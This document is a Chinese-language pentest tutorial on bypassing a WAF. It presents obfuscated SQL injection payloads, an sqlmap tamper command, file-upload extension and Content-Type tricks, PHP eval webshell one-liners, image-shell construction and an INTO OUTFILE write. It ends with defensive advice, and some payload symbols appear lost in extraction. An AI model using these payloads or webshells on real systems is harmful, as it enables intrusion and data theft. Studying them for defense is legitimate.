WAF绕过实战:SQL注入与文件上传漏洞的深度利用与防御
1. 项目概述一次完整的WAF绕过实战演练最近在内部攻防演练和授权渗透测试中遇到一个挺有意思的场景目标系统部署了市面上主流的WAFWeb应用防火墙但通过审计发现其存在SQL注入和文件上传点。常规的union select或者直接上传.php文件会被WAF瞬间拦截并告警。这促使我进行了一次深入的“过狗”业内对绕过WAF的俗称技术研究与实践。这次的目标很明确在不触发WAF告警的前提下成功利用SQL注入点获取数据库敏感信息并利用文件上传点获取WebShell。整个过程涉及对WAF检测机制的深度理解、对注入语法的精巧变形以及对HTTP请求的多维度拆解。这不仅仅是两个漏洞的简单利用更是一场与自动化防御系统的“静默”对抗。如果你也在为如何绕过WAF进行有效的漏洞验证而头疼那么我这次踩坑、测试、最终成功的经验或许能给你提供一条清晰的路径。2. 核心思路理解WAF的“视觉盲区”在开始动手之前我们必须先搞清楚对手是怎么工作的。WAF不是神它本质上是一套基于规则正则表达式、语义分析、机器学习模型等的过滤系统。它的“视力”有局限我们的核心思路就是制造“视觉盲区”。2.1 WAF检测的核心逻辑与常见短板WAF检测通常发生在应用层它会深度检查HTTP/HTTPS请求的所有部分URL参数、POST数据、Headers、甚至Cookie。其检测逻辑可以概括为以下几点模式匹配正则表达式这是最基础也是最常见的方式。WAF内置了大量攻击特征库例如检测union select、script、../等字符串。一旦匹配请求即被阻断。语义/语法分析高级WAF会尝试解析SQL或命令语句的结构判断其是否构成一个完整的、恶意的指令而不仅仅是字符串匹配。协议合规性检查检查请求格式是否异常如异常的请求方法、畸形的分块编码、过长的参数等。行为建模与机器学习通过基线学习正常流量对偏离基线的异常请求进行告警。然而这些机制存在天然的短板性能与深度的权衡WAF必须保证高性能、低延迟因此不可能对每一个请求都进行无限深度的语法树解析这给了我们混淆和分割的机会。规则更新滞后公开的漏洞POC概念验证代码会第一时间被加入规则库但一些冷门、变形的攻击手法可能存在规则空白期。上下文缺失WAF通常看不到后端应用程序的真实逻辑。例如它不知道某个参数最终是否被拼接到SQL语句中只能无差别检查所有输入。2.2 构建通用绕过框架基于以上分析我总结了一个通用的绕过框架适用于SQL注入、文件上传等多种漏洞类型标准化与模糊化将攻击载荷从“明码”变为“暗语”。包括大小写变换、编码URL、HTML、十六进制、插入注释/空白符、等价关键字替换。分割与重组将一个完整的恶意语句拆分成多个“无害”的片段通过参数污染、HTTP参数拆分HPP、分块传输等技术让WAF看不到完整形态但后端应用却能正确重组。边界与格式突破利用WAF解析HTTP请求与后端Web容器/框架解析之间的差异。例如畸形的Content-Type、利用multipart/form-data格式的解析特性、超长文件名等。逻辑与时间盲注对于SQL注入当直接回显被拦截时转向基于布尔或时间的盲注通过细微的响应差异或时间延迟来推断数据这类请求本身看起来更“温和”。注意所有测试必须在授权范围内进行。未经授权的测试是违法行为。本文所有技术讨论仅用于安全研究与授权下的防御能力提升。3. SQL注入绕过从“明目张胆”到“悄无声息”我遇到的注入点是一个搜索功能参数为id。原始漏洞点非常典型?id1 and 11返回正常and 12返回异常存在字符型注入。但直接上union select立刻被WAF拦截。3.1 初阶混淆绕过基础正则匹配首先尝试最基础的混淆技术目的是扰乱基于正则表达式的特征检测。1. 大小写与内联注释混淆UNION SELECT是特征但uNiOn SeLeCt可能就不是。更进一步利用MySQL的特性在关键字中插入注释/**/。?id1/**/uNiOn/**/SeLeCt/**/1,2,3--这里/**/在MySQL中被视为空白符但许多WAF的正则规则可能不会考虑这种在关键字中间插入注释的情况。--用于注释掉原SQL语句的剩余部分。2. 等价函数与语句替换如果union被盯得太死可以尝试其他方法。例如基于报错的注入?id1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--updatexml、extractvalue这类函数本身可能被检测但可以对其参数进行编码。将select user()进行十六进制编码0x73656c65637420757365722829再进行一次URL编码。?id1 and updatexml(1,concat(0x7e,(0x73656c65637420757365722829),0x7e),1)--这样select这个关键字在传输过程中就被“隐藏”了。实操心得不要只依赖一种混淆方式。通常需要组合使用例如“大小写变换内联注释关键字编码”。用一个简单的Python脚本批量生成变体进行Fuzz测试效率会高很多。3.2 进阶分割利用解析差异绕过深度检测当基础混淆无效时说明WAF可能具备一定的语法分析能力。这时需要利用WAF与后端应用解析请求时的差异。1. HTTP参数污染HPP同一个参数名传递多个值不同技术栈处理方式不同。例如?id1/*id*/union/*id*/select 1,2,3--WAF可能只取第一个值1/*或最后一个值看起来无害。但后端PHP使用$_GET[‘id’]可能取最后一个值select 1,2,3--而JSP/Tomcat可能取第一个值。需要根据目标环境测试。更常见的是用和;作为参数分隔符的差异。2. 参数拆分将一个参数拆分成多个碎片。例如原本的union select可以拆成?uunionnselectid1/*u*/n*/1,2,3--或者利用数组参数?id[1]unionid[2]selectid[3]1,2,3id1后端代码如果是$id $_GET[‘id’];获取字符串可能取第一个值1。但如果是$id implode(‘’, $_GET[‘id’]);获取数组并拼接那就会拼接成完整的注入语句。这需要对后端代码有一定猜测或信息泄露。3. 分块传输编码Chunked Transfer Encoding这是一种高级技巧。将POST请求体分块发送可以绕过一些基于内容长度和一次性检测的WAF。你需要将注入语句拆分成多个“块”来发送。例如使用Burp Suite的“Chunked-Encoding Converter”扩展插件将union select拆分成u,nion,sel,ect等多个小块发送。WAF可能因为无法重组完整数据包而放行而后端服务器在接收完所有分块后会正确重组并执行。踩坑记录分块传输编码对服务器配置有要求且操作复杂。在实际测试中它更常用于绕过一些对POST数据体进行流式检测的WAF/IPS对于普通场景优先使用前两种方法。3.3 高阶盲注当一切直接回显都被封死如果所有试图直接回显数据的尝试都被阻断那么盲注就是最后的武器。核心思想是将数据提取问题转化为一系列“是或否”的问题通过页面响应差异布尔盲注或响应时间差异时间盲注来获取答案。1. 布尔盲注绕过假设原始页面在id1时正常id999时显示“未找到”。我们可以构造逻辑判断。?id1 and ascii(substr(database(),1,1))100--如果页面正常说明数据库名第一个字符的ASCII码大于100。通过二分法可以快速定位字符。关键在于substr、ascii、mid这些函数也可能被检测。此时需要再次动用混淆技术?id1/*!and*//*!ascii*/(/*!substr*/(database()/*,*/1,1))100--使用/*!...*/是MySQL的“内联条件注释”在特定版本下其中的代码会被执行这又是一个有效的混淆符。2. 时间盲注绕过当页面响应内容无差异时使用时间盲注。通过sleep()函数制造延迟来判断条件真假。?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--如果延迟3秒说明条件为真。时间盲注的载荷更长更易被检测。绕过思路包括使用非标延迟函数不用sleep()用benchmark(10000000,md5(‘test’))或笛卡尔积查询制造计算延迟。拆分延迟将一次长延迟拆分为多次短延迟请求降低单次请求的异常性。?id1 and if(ascii(substr(database(),1,1))100,1,0) and (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C)--这个查询会进行大量的表关联导致明显的延迟且不含sleep关键字。个人工具链推荐手工进行盲注极其耗时。我强烈推荐使用sqlmap的--tamper脚本和--technique参数。例如sqlmap -u http://target.com/page?id1 --tamperspace2comment,randomcase --techniqueB --batch --dbs--tamper参数可以调用多个混淆脚本如space2comment用/**/替换空格randomcase随机大小写--techniqueB指定使用布尔盲注。sqlmap会自动处理判断逻辑和结果提取效率是手工的百倍以上。但务必理解其原理因为自动化工具有时也会触发防御。4. 文件上传绕过与WAF和校验逻辑的“三重博弈”文件上传漏洞的利用通常面临三重过滤客户端JavaScript校验、服务端WAF检测、服务端业务逻辑校验如文件类型、内容。我们的目标是上传一个可执行的WebShell。4.1 前端绕过这从来不是难点前端校验通过修改HTML或禁用JavaScript即可轻松绕过这不是WAF的范畴但它是整个攻击链的起点。确保你上传的是一个“看起来”合法的文件比如将一个shell.php改名为shell.jpg然后通过Burp Suite拦截请求再改回shell.php。4.2 绕过WAF的文件类型检测WAF会检查Content-Type和文件扩展名。这里有几个关键技巧1. 双写扩展名与空字节截断针对旧系统shell.php.jpg有些程序仅检查最后一个扩展名.jpg但服务器可能按第一个扩展名.php解析。这取决于服务器的解析顺序。shell.php%00.jpg在PHP旧版本中%00是空字节会导致解析截止。上传时文件名是shell.php%00.jpgWAF看到的是.jpg但后端PHP在解析时遇到%00就停止了最终保存为shell.php。注意现代PHP版本已默认修复此问题。2. 大小写与特殊扩展名shell.Php、shell.pHp5、shell.Phtml在Windows系统上文件名不区分大小写shell.Php依然会被当作PHP执行。.phtml、.php5、.php7等也是常见的PHP可执行扩展名。3. 修改Content-Type上传请求的Content-Type是image/jpeg即使文件扩展名是.php有些简单的WAF或应用逻辑也会放行。在Burp中直接将Content-Type: application/octet-stream改为Content-Type: image/jpeg。4.3 绕过服务端内容检测制作“图片马”这是最核心的一步。服务端可能会进行二次检查包括文件头检查检查文件开头几个字节魔数如图片的GIF89a、PNG等。内容关键字检查扫描文件中是否包含?php、eval、assert等危险函数。制作免杀WebShell图片马准备一张真实图片例如test.jpg。准备WebShell代码内容尽量简洁例如?php eval($_POST[‘cmd’]);?。合成图片马Windowscopy test.jpg /b shell.php /b webshell.jpgLinuxcat test.jpg shell.php webshell.jpg这样生成的文件文件头是标准的JPEG格式绕过文件头检查。文件末尾附着了PHP代码。4. 利用包含漏洞执行图片马仅仅上传成功还不够需要让服务器以PHP方式解析这个图片文件。这通常需要配合文件包含漏洞。 假设存在本地文件包含漏洞?file../../uploads/webshell.jpg服务器在包含这个文件时会将其内容作为PHP代码执行从而触发末尾的WebShell代码。5. 高级技巧利用解析漏洞Apache解析漏洞如果Apache配置不当文件名shell.php.xxx可能被解析。Apache从右向左解析扩展名直到遇到认识的扩展名。如果它不认识.xxx就会向左看.php最终以PHP执行。可以尝试shell.php.abc、shell.php.123。IIS 6.0解析漏洞shell.asp;.jpg会被IIS 6.0解析为asp文件执行。这是老漏洞但仍有旧系统存在。4.4 实战组合拳一次完整的绕过流程假设一个上传点前端限制.jpg/.png服务端有WAF且检查Content-Type。本地准备制作图片马shell.jpg内容为GIF89a?eval($_REQUEST[‘a’]);?。这里使用短标签?减少特征。上传拦截用Burp拦截上传shell.jpg的请求。修改请求将文件名改为shell.php.jpg双写扩展名。确认Content-Type为image/jpeg。在文件内容十六进制视图最开头确保有GIF89a或PNG等合法图片头。发送请求如果成功返回文件路径如/uploads/230415_shell.php.jpg。寻找执行方式直接访问该文件大概率显示乱码图片被当作PHP解析出错或直接不执行。寻找文件包含点。例如发现存在?lang../../uploads/230415_shell.php.jpg的参数。访问?lang../../uploads/230415_shell.php.jpgaphpinfo();成功看到phpinfo页面说明WebShell生效。5. 综合利用SQL注入获取路径 文件上传GetShell在实战中SQL注入和文件上传漏洞往往可以形成组合拳产生更大的威力。一个典型的场景是通过SQL注入获取网站的绝对路径从而精准定位文件上传目录甚至写入文件。5.1 利用注入获取关键信息在成功绕过WAF进行SQL注入后我们首要目标是获取以下信息网站绝对路径这是上传WebShell后连接的关键。在MySQL中可以通过datadir推测或查询一些CMS的配置表。例如对于某些CMSunion select 1,2,concat(user(),‘|’,database(),‘|’,basedir)。后台管理员账号密码获取后台入口可能找到更直接的上传点。文件上传功能的具体位置与表结构如果应用有上传功能其文件路径很可能存储在数据库的某个表中。假设我们通过注入得到了后台密码并成功登录发现了一个更强大的“媒体库上传”功能但仍有WAF。5.2 利用注入写入文件into outfile这是最直接但也最受限制的方式。需要满足严苛的条件数据库用户拥有FILE权限。知道网站可写目录的绝对路径。secure_file_priv系统变量不为NULL或限制路径。如果条件满足可以直接通过注入点写入WebShell?id1 union select 1,?php eval($_POST[‘cmd’]);?,3 into outfile /var/www/html/uploads/shell.php--绕过WAF技巧将into outfile和路径名进行编码或分割。例如将路径名/var/www/html/uploads/shell.php进行十六进制编码。但注意into outfile本身是一个极强的特征很难绕过现代WAF。此方法成功率在实战中已越来越低。5.3 精准上传与连接更可靠的方式是通过注入获取到上传目录的精确物理路径例如/var/www/html/public/uploads/。然后我们使用之前文件上传绕过的方法将图片马上传到该目录。连接WebShell时我们需要完整的URL。如果上传返回的是相对路径uploads/shell.php.jpg结合我们获得的绝对路径可以推断出完整URL可能是http://target.com/public/uploads/shell.php.jpg。再配合文件包含漏洞即可执行。6. 防御视角如何构建更有效的防线作为防守方了解攻击手法是为了更好地防御。从这次绕过实践中我们可以总结出加固建议代码层面是根本SQL注入使用参数化查询预编译语句这是唯一根治的方法。不要拼接SQL字符串。文件上传使用白名单验证文件扩展名和Content-Type。重命名上传文件如使用时间戳随机数避免解析漏洞。将上传目录设置为不可执行通过Web服务器配置文件存储路径不直接暴露给前端。WAF配置优化启用语义分析引擎而不仅仅是正则匹配。配置学习模式建立正常的流量基线。对关键接口如登录、上传、搜索实施更严格的规则或频率限制。纵深防御RASP在应用内部部署运行时应用自保护它能结合代码上下文进行判断准确率远高于WAF。定期安全扫描与渗透测试主动发现自身漏洞模拟攻击者进行绕过测试。日志审计与告警详细记录所有访问日志特别是异常请求如包含大量特殊字符、分块传输、参数污染并设置实时告警。绕过WAF是一个持续对抗的过程。攻击技术在进化防御手段也在升级。真正的安全不在于部署了最贵的WAF而在于开发人员的安全意识、安全的编码习惯、以及合理的纵深防御体系。对于安全研究者而言理解这些绕过的本质不仅能提升渗透测试的能力更能从攻击者的角度审视自身系统的脆弱点从而构建起更坚固的防线。